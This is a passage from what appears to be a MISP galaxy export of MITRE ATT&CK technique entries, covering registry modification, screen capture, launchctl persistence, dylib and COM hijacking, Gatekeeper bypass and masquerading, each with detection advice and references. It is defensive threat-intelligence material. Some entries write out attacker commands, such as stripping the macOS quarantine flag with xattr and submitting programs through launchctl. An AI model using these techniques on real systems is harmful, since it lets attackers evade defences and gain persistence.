Detection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.

Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the

Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Registry"*

Table 1742. Table References

Links
https://attack.mitre.org/wiki/Technique/T1112
https://technet.microsoft.com/en-us/library/cc754820.aspx
https://technet.microsoft.com/en-us/library/cc732643.aspx

Screen Capture

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.

===Mac===

On OSX, the native command <code>screencapture</code> is used to capture screenshots.

===Linux===

On Linux, there is the native command <code>xwd</code>.[[Citation: Antiquated Mac Malware]]

Detection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: API monitoring, Process monitoring, File monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Screen Capture"*

Table 1743. Table References

Links
https://attack.mitre.org/wiki/Technique/T1113
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/

AppleScript

macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python [[Citation: Macro Malware Targets Macs]]. Scripts can be run from the command lie via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>.

Detection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.

Platforms: MacOS, OS X

Data Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="AppleScript"*

Table 1744. Table References

Links
https://attack.mitre.org/wiki/Technique/T1155
https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/

Launchctl

Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made [[Citation: Sofacy Komplex Trojan]]. Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> — /Path/to/thing/to/execute "arg" "arg" "arg"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.

Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.

Detection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.

Platforms: MacOS, OS X

Data Sources: File monitoring, Process Monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Launchctl"*

Table 1745. Table References

Links
https://attack.mitre.org/wiki/Technique/T1152
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

Indicator Removal from Tools

If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target’s defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.

Detection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: Process use of network, Process monitoring, Process command-line parameters, Anti-virus, Binary file metadata

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools"*

Table 1746. Table References

Links
https://attack.mitre.org/wiki/Technique/T1066

Dylib Hijacking

macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.

A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself[[Citation: Writing Bad Malware for OSX]][[Citation: Malware Persistence on OS X]]. If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.

Detection: Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.

Platforms: MacOS, OS X

Data Sources: File monitoring

Effective Permissions: Administrator, root

The tag is: *misp-galaxy:mitre-attack-pattern="Dylib Hijacking"*

Table 1747. Table References

Links
https://attack.mitre.org/wiki/Technique/T1157
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf

Change Default File Association

When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access.[[Citation: Microsoft Change Default Programs]][[Citation: Microsoft File Handlers]] Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

Detection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.

User file association preferences are stored under <code>[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.

Also look for abnormal process call trees for execution of other commands that could relate to actions or other techniques.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Windows Registry, Process monitoring, Process command-line parameters

Contributors: Stefan Kanthak

The tag is: *misp-galaxy:mitre-attack-pattern="Change Default File Association"*

Table 1748. Table References

Links
https://attack.mitre.org/wiki/Technique/T1042
http://msdn.microsoft.com/en-us/library/bb166549.aspx
https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs

Space after Filename

Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed[[Citation: Mac Backdoors are back]].

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.

Detection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.

Platforms: Linux, MacOS, OS X

Data Sources: File monitoring, Process Monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Space after Filename"*

Table 1749. Table References

Links
https://attack.mitre.org/wiki/Technique/T1151
https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/

Email Collection

Adversaries may target user email to collect sensitive information from a target.

Files containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.

Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.

Some adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.

Detection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.

File access of local system email files for Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Authentication logs, File monitoring, Process monitoring, Process use of network

The tag is: *misp-galaxy:mitre-attack-pattern="Email Collection"*

Table 1750. Table References

Links
https://attack.mitre.org/wiki/Technique/T1114

System Information Discovery

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

===Windows===

Example commands and utilities that obtain this information include <code>ver</code>, Systeminfo, and <code>dir</code> within cmd for identifying information based on present files and directories.

===Mac===

On Mac, the <code>systemsetup</code> command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the <code>system_profiler</code> gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="System Information Discovery"*

Table 1751. Table References

Links
https://attack.mitre.org/wiki/Technique/T1082

System Network Connections Discovery

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

===Windows===

Utilities and commands that acquire this information include netstat, "net use," and "net session" with Net.

===Mac and Linux ===

In Mac and Linux, <code>netstat</code> and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session".

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="System Network Connections Discovery"*

Table 1752. Table References

Links
https://attack.mitre.org/wiki/Technique/T1049

Two-Factor Authentication Interception

Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.

If a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token.[[Citation: Mandiant M Trends 2011]]

Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors.[[Citation: Operation Emmental]]

Other hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.

Detection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Contributors: John Lambert, Microsoft Threat Intelligence Center

The tag is: *misp-galaxy:mitre-attack-pattern="Two-Factor Authentication Interception"*

Table 1753. Table References

Links
https://attack.mitre.org/wiki/Technique/T1111
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
https://dl.mandiant.com/EE/assets/PDF%20MTrends%202011.pdf

Execution through API

Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters.[[Citation: Microsoft CreateProcess]]

Additional Windows API calls that can be used to execute binaries include:[[Citation: Kanthak Verifier]]

*CreateProcessA() and CreateProcessW(), *CreateProcessAsUserA() and CreateProcessAsUserW(), *CreateProcessInternalA() and CreateProcessInternalW(), *CreateProcessWithLogonW(), CreateProcessWithTokenW(), *LoadLibraryA() and LoadLibraryW(), *LoadLibraryExA() and LoadLibraryExW(), *LoadModule(), *LoadPackagedLibrary(), *WinExec(), *ShellExecuteA() and ShellExecuteW(), *ShellExecuteExA() and ShellExecuteExW()

Detection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: API monitoring, Process monitoring

Contributors: Stefan Kanthak

The tag is: *misp-galaxy:mitre-attack-pattern="Execution through API"*

Table 1754. Table References

Links
https://attack.mitre.org/wiki/Technique/T1106
http://msdn.microsoft.com/en-us/library/ms682425
https://skanthak.homepage.t-online.de/verifier.html

Component Object Model Hijacking

The Microsoft Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system.[[Citation: Microsoft Component Object Model]] Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.[[Citation: GDATA COM Hijacking]] An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

Detection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\Software\Classes\CLSID\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\</code>.[[Citation: Endgame COM Hijacking]] Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Windows Registry, DLL monitoring, Loaded DLLs

Contributors: ENDGAME

The tag is: *misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking"*

Table 1755. Table References

Links
https://attack.mitre.org/wiki/Technique/T1122
https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
https://msdn.microsoft.com/library/ms694363.aspx
https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com

Clipboard Data

Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications.

===Windows===

Applications can access clipboard data by using the Windows API.[[Citation: MSDN Clipboard]]

===Mac===

OSX provides a native command, <code>pbpaste</code>, to grab clipboard contents [[Citation: Operating with EmPyre]].

Detection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: API monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Clipboard Data"*

Table 1756. Table References

Links
https://attack.mitre.org/wiki/Technique/T1115
http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/
https://msdn.microsoft.com/en-us/library/ms649012

InstallUtil

InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.[[Citation: MSDN InstallUtil]] InstallUtil is located in the .NET directory on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code>.InstallUtil.exe is digitally signed by Microsoft.

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>.[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]

Detection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Process monitoring, Process command-line parameters

Contributors: Casey Smith

The tag is: *misp-galaxy:mitre-attack-pattern="InstallUtil"*

Table 1757. Table References

Links
https://attack.mitre.org/wiki/Technique/T1118
https://msdn.microsoft.com/en-us/library/50614e95.aspx
https://github.com/subTee/AllTheThings

Data Obfuscation

Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis

The tag is: *misp-galaxy:mitre-attack-pattern="Data Obfuscation"*

Table 1758. Table References

Links
https://attack.mitre.org/wiki/Technique/T1001
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Shortcut Modification

Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.

Detection: Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: File monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Shortcut Modification"*

Table 1759. Table References

Links
https://attack.mitre.org/wiki/Technique/T1023

Obfuscated Files or Information

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system.

Detection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Network protocol analysis, Process use of network, File monitoring, Malware reverse engineering, Binary file metadata

The tag is: *misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information"*

Table 1760. Table References

Links

https://attack.mitre.org/wiki/Technique/T1027

Video Capture

An adversary can leverage a computer’s peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim’s screen.

Detection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.

Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Process monitoring, File monitoring, API monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Video Capture"*

Table 1761. Table References

Links
https://attack.mitre.org/wiki/Technique/T1125

Gatekeeper Bypass

In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple’s Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.

Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check[[Citation: Methods of Mac Malware Persistence]]. The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code> [[Citation: Clearing quarantine attribute]][[Citation: OceanLotus for OS X]].

In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS's gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the url where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application [[Citation: Bypassing Gatekeeper]].

Detection: Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further.

Platforms: MacOS, OS X

The tag is: *misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass"*

Table 1762. Table References

Links
https://attack.mitre.org/wiki/Technique/T1144
https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/
https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update

Masquerading

Masquerading occurs when an executable, legitimate or malicious, is placed in a commonly trusted location (such as C:\Windows\System32) or named with a common name (such as "explorer.exe" or "svchost.exe") to bypass tools that trust executables by relying on file name or path. An adversary may even use a renamed copy of a legitimate utility, such as rundll32.exe.[[Citation: Endgame Masquerade Ball]] Masquerading also may be done to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.

Detection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.

If file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity.[[Citation: Endgame Masquerade Ball]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Process monitoring, Binary file metadata

Contributors: ENDGAME

The tag is: *misp-galaxy:mitre-attack-pattern="Masquerading"*

Table 1763. Table References

Links
https://attack.mitre.org/wiki/Technique/T1036
https://www.endgame.com/blog/how-hunt-masquerade-ball

DLL Side-Loading

Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests[[Citation: MSDN Manifests]] are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL.[[Citation: Stewart 2014]]

Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.

Detection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Process use of network, Process monitoring, Loaded DLLs

The tag is: *misp-galaxy:mitre-attack-pattern="DLL Side-Loading"*

Table 1764. Table References

Links
https://attack.mitre.org/wiki/Technique/T1073
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf
https://msdn.microsoft.com/en-us/library/aa375365

Automated Exfiltration

Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.

Detection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Process monitoring, Process use of network

The tag is: *misp-galaxy:mitre-attack-pattern="Automated Exfiltration"*

Table 1765. Table References

Links
https://attack.mitre.org/wiki/Technique/T1020

Network Service Scanning

Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as [[Lateral Movement]], based on the information obtained.

Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process use of network, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Network Service Scanning"*

Table 1766. Table References

Links
https://attack.mitre.org/wiki/Technique/T1046

.bash_profile and .bashrc

